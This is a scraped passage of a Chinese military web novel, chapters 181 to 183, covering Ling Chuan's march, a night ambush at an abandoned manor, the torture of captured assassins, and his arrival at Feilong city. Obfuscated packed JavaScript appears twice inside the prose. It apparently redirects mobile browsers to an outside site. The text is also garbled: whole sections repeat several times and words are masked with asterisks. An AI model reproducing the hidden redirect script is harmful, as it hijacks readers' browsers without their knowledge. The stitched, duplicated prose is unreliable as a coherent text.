这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 有人则是摘来新鲜蔬菜瓜果,一个劲地往士兵们手里塞。 一个扎着羊角辫的小女孩,手里拿着两个煮熟的鸡蛋,鼓起勇气跑到凌川跟前。 “都尉大人,这是俺家里母鸡生的蛋,俺娘让我给你送来!”小女孩怯生生将双手中的两个鸡蛋递到凌川面前。 凌川笑着将鸡蛋拿过来打量了一番,随即又放到耳边摇了摇。 “你把鸡蛋拿回去吧,我只吃没有蛋黄的鸡蛋!”凌川将两个鸡蛋还给小丫头说道。 失望与愧疚之色在小丫头的眼神中交替闪现,只见她低着头,像是做错了什么一般,随即转身快速朝家里跑去。 与此同时,凌川大声喊道:“乡亲们,咱们是边军,吃的是朝廷的军粮,镇守边疆,诛杀来犯之敌,是我们的职责,大家把东西拿回去吧!” “大人,这些可都是乡亲们是一点心意,您若是不收,乡亲们良心难安啊!”一名中年男子端着一筐馒头说道。 “是啊大人,是你们打退了胡贼,守住了我们的家园,我们实在拿不出其他东西,只能以此聊表心意,大人可千万别嫌弃啊!” 一名杵着拐杖的老者走上前来,满脸的感激之色,就要下跪。 凌川翻身下马,连忙将老人扶住:“老人家,您一大把年纪对我下跪,岂不是折我的寿吗?” 紧接着,凌川看向一众百姓,说道:“乡亲们,你们有这份心意,我们就知足了!” 说完,他上前拿了一个馒头,摘了几张菜叶,又从篮子中取了一根黄瓜…… “多谢乡亲们!”凌川对着一众百姓行了一礼,随即将手中东西交给苍蝇,翻身上马离开。 一众百姓看着队伍离开的背影,不少人双眼湿润,很多人更是老泪纵横。 “这才是咱们老百姓的边军啊!”那名老者声音哽咽,双眼湿润。 之前那名小女孩拿着两个鸡蛋跑回家里,对娘亲说:“娘,都尉大人说了,他只吃没有蛋黄的鸡蛋,咱家有吗?” 那年轻妇人听闻后,先是一愣,随即眼神中闪过一抹愧疚与苦涩,家里就一只老母鸡,生的蛋都拿去镇上换粮食,供母女二人勉强活着。 丫头听别人说,鸡蛋很好吃,却从没吃过。 这两个鸡蛋,原本是承诺给丫头今天过生的时候吃的,可得知家家户户都准备了东西去送凌都尉和云岚军,家里实在是拿不出其他东西,丫头便主动将那两个鸡蛋拿出来煮熟之后给凌都尉送去。 “傻丫头,这世上哪有没蛋黄的鸡蛋啊!”年轻妇人轻轻抚摸着丫头的脸蛋,轻声说道。 “啊,那大人他……”小丫头顿时着急起来。 “大人是故意这么说的,不然以你的执拗性子,怎么会把鸡蛋拿回来?”年轻妇人拿过一个鸡蛋磕开,小心翼翼地剥掉蛋壳,将其递给丫头,“快吃吧!” 丫头使劲嗅了嗅鸡蛋的香味,随即轻咬了一口。 “好吃吗?”年轻妇人眼神中满是慈祥,问道。 “嗯!真香!”丫头点头说道,随即将其推到娘亲面前,“娘亲也吃!” …… 凌川带着云岚军,刚离开阑州地境,一名传信兵飞奔而来。 “凌都尉,卢帅让你改道去节度府!”传信兵来到凌川面前,先是行了一礼,随即才传达命令。 凌川微微一愣,问道:“卢帅是让我独自前往,还是带兵前往?” “这个卢帅没说,不过,按照惯例,最多只能带亲兵前往,且不能超过百人!”传信兵说道。 “大人,命令已传到,属下还要赶往其他地方传信,就此告辞!”说完,传信兵直接策马离去。 第181章 废弃庄园! 凌川召来各标标长,将情况简单说明,随即命让岿然带领队伍回云岚县,自己则是带着五十名亲兵分道前往节度府。 临行前,凌川将回到云岚之后的大小事宜全部交代了一遍,主要是练兵、锻造兵甲以及生意上的事情,都一一说明。 此次他带一千五百余云岚军出征,历经数战,杀敌近六万,而自身战死不足百人,受伤不到二百人,且大多都是轻伤。 如此逆天的战绩,用前无古人来形容都毫不为过,就算是加上后无来者,也没有人说他狂妄自大。 近段时间,凌川的云岚军,一次次用惊世骇俗的战绩刷新了人们的认知,其名声更是在北系军中一时无两,不仅是他,就连其麾下标长的名字也都被大众所熟知。 而且,云岚军的名头可不仅限于军中,北境七州很多百姓也都听说了云岚军在关外的壮举。 连战连捷,将胡羯两路大军全灭,更是与虎贲骑配合,将朝天垭外的狮甲军重创,每一项都宛如星辰般耀眼。 对于这一现象,手下人自然是兴奋而自豪,可凌川的内心却生出一丝警惕,甚至还嗅到了一丝阴谋的味道。 他不怀疑边军同袍的赞赏,也不怀疑老百姓的推崇,但,他知道被捧得越高就摔得越惨的道理,如果这背后是有心人在刻意推波助澜,其目的是‘捧杀’自己,那就真要小心了。 从武定关到漠北节度府,足有两百多里,反正也不急着赶路,而且,之前的传信兵并未规定时间抵达,凌川也不着急。 日落之前,队伍便进入陵州地界,飞龙城便在陵州,只不过,相距还有一百里,明天日落之前便可抵达。 然而,一路走来,所有军驿皆以住满,毕竟,此前从漠北大营调出去的兵马正在一一回撤,军驿爆满也属正常。 之前,离开武定关的时候,他们皆是一人双骑,一马载人,一马托运兵甲营帐。 可分道之时,凌川让队伍将马匹全部带回了云岚县,主要是练兵需要,而他带领的亲兵营则是没有配备多余马匹。 就在此时,军驿的一名兵卒告诉他们,前方十里处的山坳中有一座庄园,原本是一个大户人家,可为了避战,举家南迁,庄园也就废弃了下来。 凌川谢过那名兵卒之后,便带人朝着那处山坳而去。 那处山坳并不难找,距离官道只有数里路程,不过,由于长时间没有人居住,以至于路上长满了杂草。 来到庄园跟前,天已经彻底黑了,只见那座庄园宛如一头巨兽匍匐在山坳之 中,欲将靠近之人吞食。 “大人,我总感觉这里阴森森的,要不,咱们还是换个地方吧!”苍蝇小声说道。 凌川笑了笑,说道:“咱们面对数万敌军都能一鼓作气杀上去,一座小小的废弃庄园就被你给吓着了,要是传出去,还不得被人笑掉大牙?” 苍蝇尴尬地抓了抓脑袋,随即带人进去查看情况。 庄园已经废弃得很严重,少说也有两三年没人居住了,屋里布满了灰尘,蛛网密布,甚至还能看到老鼠出没。 苍蝇让人将正堂简单打扫了一下,随即在堂中生了一堆火,凌川与十多名亲兵在正堂之中休息,而其他亲兵则是被分配到两侧的厢房休息。 就在这时,聂星寒方便回来,径直坐到凌川身边。 他假装整理箭壶,取出一支铁箭,在地上画了几个符号,并在一些部位进行了标记。 很快,便有人借着方便之名,去往两处厢房。 一直到了深夜,庄园之中,除了几名值守的亲兵之外,其他人都相继睡去,除了隐约可见的鼾声,整座庄园一片寂阒。 忽然,火堆熄灭! 黑暗中传来簌簌之声,宛如蛇虫爬行,又像是老鼠在打架。 “哼……” 只听一声闷哼自黑暗中传来,紧接着,一连串的破空之声打破了沉寂的黑暗。 顷刻间,一片肃杀之气弥漫开来,原本已经入睡的亲兵同时睁开来双眼,那一双双眸子中没有半点睡意,取而代之的是坚定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045938|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与肃穆。 聂星寒手中的铁胎弓不断传来弓弦颤动的声音,每一次开弓,黑暗中便会传来一声惨叫。 与此同时,苍蝇也带着十余名亲兵右手持刀,左手迅速取下别在后腰的匣子**,对着四周的黑暗中扣动机括。 刹那之间,惨叫声接连响起,短箭射在木板之上的声音不绝于耳。 一大泼弓箭射来,尽数射在之前凌川等人待的火堆周围,殊不知,就在火堆熄灭的刹那凌川等人便迅速散开了,而且,根据聂星寒之前探明的位置扣动匣子**。 就在他们动手的同一时间,两侧厢房中各自住着的十多名亲兵也开始行动,只不过,他们的目标并非是正堂这边,而是朝着庄园外侧而去。 以凌川等人的敏锐性,又怎么会看不出这座庄园有古怪? 事实上,之前在官道军驿,那名边军告诉凌川这个位置的时候,他便已经起疑了,来到庄园跟前,凌川心中的怀疑又加深了几分。 只因,凌川在这座‘废弃’庄园中,看到了一些蛛丝马迹,虽然很不起眼,但还是被凌川敏锐捕捉到。 但,凌川还是决定将计就计带人住了进来,只不过,谁也没有注意到,亲兵队之中少了几个人。 一开始,凌川并不知道对手是谁,不过,对于他来说,这并不重要,只要确定是敌人,就不必留手,直接杀之即可。 双方在黑暗中一番交手,凌川等人抢先用匣子**便干掉了二十多名敌人,剩下的敌人发现不对劲,想要撤离已经来不及。 凌川率十多名亲兵直接扑了上去,与之展开激烈搏杀。 就在此时,一道黑影手持双刀,朝着凌川扑来。 两名亲兵见状,正要上前,然而凌川却抢先一步跨出,手中战刀宛如平地惊雷向上撩起,挡下了对方的双刀。 随即,凌川转身又是一刀横扫,那黑衣人只能架起双刀抵挡,但,恐怖的力道宛如巨浪袭来,再度将其震退。 黑衣男子顿时一惊,他没想到凌川的实力竟如此恐怖。 第182章 鱼贩与仵作! 更让他震惊的是刚才这一刀竟然将他手中两把弯刀的刀刃崩出两道豁口。 可他还来不及多想凌川再次欺身前来抬手又是一刀斩出。 凌川的刀刚猛霸道每一招看起来都平平无奇却将他死死压制任他身怀各种诡异杀招却施展不出来。 **的是凌川自从得到杨铁匠的指点之后刀法可谓是突飞猛进很多繁琐的招式都被其简化 三刀之后黑衣男子手中双刀尽数崩断他直接将手中两截断刀朝着凌川掷来随即转身就跑。 凌川轻松将飞来的两截断刀避开与此同时聂星寒一箭射出直接命中那名黑衣男子的小腿。 只见他闷哼一声脚下一个踉跄扑倒在地。 黑衣男子自知逃走无望果断拔出腰间**直接刺向自己的胸口整个过程没有丝毫犹豫。 然而就在他**即将没入胸口的刹那一道寒芒闪过凌川直接一刀斩断了他的右臂紧接着又是一刀刺穿他的左臂将其死死钉在地上。 黑衣男子一声惨叫然而他刚张嘴凌川便迅速一把扣住他的咽喉并顺势卸掉其下巴。 男子面目狰狞嘴里只能发出痛苦的嘶吼声。 两名亲兵见状果断上前将其拿下。 与此同时苍蝇与孟钊二人带领的另外两队亲兵也都赶了回来还带着几个活口。 自从上次在云岚县衙见识到凌川以熟练手法卸掉了‘绵里针’的双臂和下巴之后亲兵队和斥候队也都向他学习了这门手法主要是在活捉**、谍子以及斥候之后防止对方以各种手法自尽。 “大人所有敌人已全部清理干净!”苍蝇上前禀报道。 凌川点了点头说道:“把这几个舌头带回庄园!” 就在此时聂星寒耳朵微微一动随即猛然搭箭上弦转身朝着黑暗之中射出一箭。 只听黑暗中传来一声闷哼这让众人顿时一惊没想到还有漏网之鱼。 “跟我走!”孟钊冷喝一声带着几名亲兵便追了上去。 两百步之外一道黑影捂着手臂狼狈逃窜他并非是从庄园之中逃出来的而是一直躲在这里充当暗哨。 见同伴要么被就地格杀要么被捉拿之后他脑海中的第一个念头就是撤离可他没想到自己只是弄出一点细微的动静便被那名神箭手捕捉到。 两百步之外弯弓搭箭 ,自己尽管在第一时间做出反应,却还是被其一箭射穿手臂。 黑衣人惊骇欲死,片刻不敢停留,只能捂着伤口快速撤离。 可就在此时,身后传来密集的脚步声,他仓皇扭头一看,只见几道身影快速追了上来。 片刻间,那三人便追到他后方不足百步,没有喊他站住这些废话,而是直接扣动匣子**,三排短箭先后射出。 黑衣男子只感觉后心一痛,随即整个人扑倒在地,正欲挣扎着起身,两把冰冷战刀便已经架在了他的脖子上。 可就在此时,男子下巴蠕动,像是嚼碎了什么东西,孟钊暗道不好,可为时已晚。 那黑衣男子双目圆瞪,面色扭曲,很快,口鼻便溢出黑血。 庄园正堂之中重新燃起了火堆,那几名黑衣男子跪成一排,凌川抬眼望去,这几人皆是大众面孔,看不出什么特征来。 “血衣堂,我们又见面了!”凌川看着几人,冷声说道。 听闻此言,几人神色微变,没想到凌川竟然轻易猜出了他们的身份。 被凌川亲手拿下那名**显然是领头之人,只见他一脸决然之色,似乎对于死亡并没有太多恐惧。 凌川把他的下巴投了回去,男子虽能说话,但却吐字不清。 “落到你手里,没什么可说的,动手吧!” 凌川冷漠笑道:“之前我在云岚县抓的那位常师爷,在酷刑之下熬了足足一个时辰,不知道,你们能熬多久!” 听闻此言,那人神色再次一变,常师爷他自然知道,毕竟,那是组织的七大顶级**之一。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045939|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好啊,正好想领教一下!”男子冷笑一声,说道。 凌川点了点头,说道:“放心,不会让你们失望的!” 很快,几人便被带了下去,凌川对苍蝇问道:“手下兄弟有没有刀工好的?” 苍蝇立马意会,说道:“有两个,一个曾经是卖鱼的,刀功堪称一绝,还有一个祖传的仵作手艺……” 凌川让苍蝇把这两人叫来,一人叫余乐,曾是一名鱼贩子,刀工极好,因老娘被人欺负,他提刀上门,连捅经对方二十三刀,全都避开了要害,导致那人下半生只能躺在床上,生活无法治理,而他也因此被发配到死字营。 另一人叫王滁,因满脸**子,大家都叫他王麻子,本是一名官差,祖上三代皆为仵作,然而,在某次办案中,牵扯到了权势人物,他成为了替罪羊,被发配到死字营。 凌川对两人交代了一番,说道:“我点头之前,可别把人给弄**!” “大人放心,我这可是祖传手艺!”王麻子嘿嘿笑道,满脸麻子让人看了起鸡皮疙瘩。 不多时,后院便传来撕心裂肺的惨叫,凌川却是置之不理,除了留下几人轮流巡防之外,其他人全部入睡休整。 一直到天亮,后院的惨叫声已微不可察。 凌川来到后院,见这几名**早已成了血人,浑身上下找不到一块完整的地方。 为了防止他们咬舌自尽,余乐和王麻子还将他们的牙齿全部敲掉。 “招了吗?”凌川问道。 “刚上刑不到半个时辰他们就招了!”余乐回答道。 “嗯?既然都招了,何不早早收工?”凌川没想到,血衣堂的**竟如此不经造,连半个时辰都没挺过去。 二人闻言,顿时面露苦涩,说道:“大人,您没说让咱们问啥啊!” 凌川一拍脑门,恍然道:“哎,昨晚把这事给忘了!” 听到这话,本就奄奄一息的几名**当场喷出一大口鲜血。 第183章 再临飞龙城! 半个时辰之后,凌川带着亲兵队离开了庄园。 在庄园后院,掩埋着五具尸体。 凌川写下几个地址交给苍蝇,“派人交给纪天禄,尽快把这几个地方摸清楚,但不要打草惊蛇!” 苍蝇点了点头,随即便叫来一名亲兵,先行赶赴老龙口。 此前,凌川便传令让纪天禄的斥候队从老龙口入关返回云州,按行程算,他们今日中午便会抵达老龙口。 而凌川等人则是继续朝着飞龙城而去。 申时刚过,凌川一行终于抵达了漠北大营,无论是凌川还是身后的一众亲兵,再次回到这里都是感慨良多。 三个月前,凌川孤身一人来到这里借兵驰援狼烽口,遭遇百般刁难。 最终,卢恽筹让他提点一千军奴,连夜出漠北,奔袭六百里在狼烽口即将被攻破的时刻赶到,扭转了战局,全歼三千敌军。 或许,当时谁也不会想到,凌川只用了短短三个月,便将那一千军奴打造成了一支王牌军团,更是在此次大战中杀出赫赫威名,立下了不世战功。 来到漠北大营辕门之外,便有士兵盘问。 凌川自报家门:“云州治下,云岚校尉凌川,奉命回营!” 听到凌川之名,巡守辕门的士兵神色顿时一变,就在此时,门楼之上传来一道激动的声音: “凌兄弟,真的是你,我可算是把你等到了!” 凌川定睛一看,正是自己第一次到飞龙城,帮自己带路的校尉江来。 只见江来一路小跑,来到辕门之外,凌川也主动下马,抱拳道:“校尉大人,咱们又见面了!” 凌川对于江来印象还是很不错的,而且,之前还两次帮助自己,虽然对于他来说只是举手之劳,可凌川却一直记在心里。 江来则是重重拍了拍凌川的肩甲,说道:“你如今可是都尉了,再这么叫那岂不是在笑话我?” 凌川自然知道他是在开玩笑,两人相视一笑。 “兄弟,你们这一身铠甲也太拉风了,是哪位大师设计的?”江来围着凌川转了一圈,对他的铠甲连连称奇。 凌川笑了笑,说道:“你若是喜欢,我回头让人送一套新的给你!” 江来连连摆手,说道:“还是算了,云岚军穿这身铠甲,可是在关外杀出了不世战功,我这个寸功未立的人穿上,会让人笑话的!” “卢帅安排我专程在这里等你,走吧,咱们去飞龙城!”江来说道。 “去飞龙城?”凌川有些不解,按照之 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 江来点了点头,说道:“其他人确实是驻在着漠北大营,但卢帅钦点了一些将领,直接到城中,今晚卢帅亲自设宴为你们接风!” 紧接着,江来更是凑到他耳边,小声说道:“我从小道消息得知,兄弟你可是这场宴会的主角,看来,等朝廷的封赏诏一到,你就得换上狻猊吞海锁子甲了!” 很快,手下人便牵出江来的坐骑交到他手中。 “时间不早了,咱们走吧!”江来翻身上马,与凌川并肩而驰。 “凌兄弟,你快给我讲讲,你是如何用一千五百人,先后干掉数万敌军的?”将来兴致勃勃地问道。 尽管这段时间,他已经听说了很多关于凌川和云岚军的信息,但见到主人公,还是想听他亲口说一遍,这样,自己以后跟其他人侃大山的时候,也是一笔谈资。 凌川笑了笑,说道:“我不过是运气好点而已,远没有外界传得那么神乎其神!” 随后,凌川便简明扼要地将几场战斗的经历叙述了一遍,江来一脸嫌弃地看着他,说道:“兄弟,你这讲故事的口才真得练练,如此惊心动魄的大战,从你嘴里说出来,就跟水煮萝卜没放盐一样!” 漠北大营到飞龙城不过七八里路程,谈笑间便已到了飞龙城南门。 江来与守城士兵相熟,但还是出示了自己的校尉腰牌,随后守城士兵便直接放行。 看着五十余骑进城,一众守城士兵的眼神中满是艳羡之色。 “那就是凌川吗?也太年轻了!” “你们看,云岚军的铠甲也太精致了,无论是材质、做工还是整体造型,都丝毫不亚于将军甲!” “我要是能有这样一身甲胄,睡觉我都穿着!” “做梦吧你!” 入城之后,江来直接把凌川一行带到了节度府不远处的一家名为庆丰楼的酒楼入住。 刚到门口,掌柜便带着一帮伙计迎了上来,帮忙牵马。 “赶紧的,把军爷们的马牵到后院马厩,用最好的精料伺候着!”掌柜对一众伙计大喊道。 凌川连忙阻止道:“掌柜的,你让人带个路就行,咱们自己把马牵过去!” 掌柜一脸笑容,说道:“都尉大人,这都是咱们该做的,屋里各个房间都准备好了热水,让大家进去洗个澡吧,饭菜正在准备中,很快就好!” “这里已经被包下了,近几日不会接待其他人,你们安心入住就行!”江来对凌川说道。 “这是卢帅的意思?”凌川好奇地问道。 江来嘿嘿笑道:“是不是卢帅的意思我不知道,不过肯定是上面的意思,我只是依令行事!” 庆丰楼是一座三层楼的酒楼,一层二层都是酒楼,三层是客房,此外后面还有两栋楼,也都是客房,可容纳一百余人入住。 住入庆丰楼之后,凌川也舒舒服服洗了个澡,虽然停战已经半个多月,但武定关军营条件有限,加之兵力骤增,导致用水紧张,很多人许久都没洗过澡了。 很多士兵泡到水里,直接舒服得叫出声来,更有甚者,直接泡在木桶里睡着了。 凌川还在洗澡,掌柜便让人将一套崭新的常服送到他房间,虽用料算不上顶级,但却十分合身,这段时间,大多数时候都身着铠甲,换上常服之后,凌川只感觉一身轻松。 而且,凌川发现,这竟然是一套六品都尉的常服,要知道此前他虽被钦点为都尉,统领武定关一万兵马,但那不过是临时命令,并非真正意义提升他为都尉。 可现在,却让人送来一套都尉常服,这背后的意义就不一样了。 前那名传信兵交代,各州撤军不都是统一驻进漠北大营吗?为何会忽然换地方? 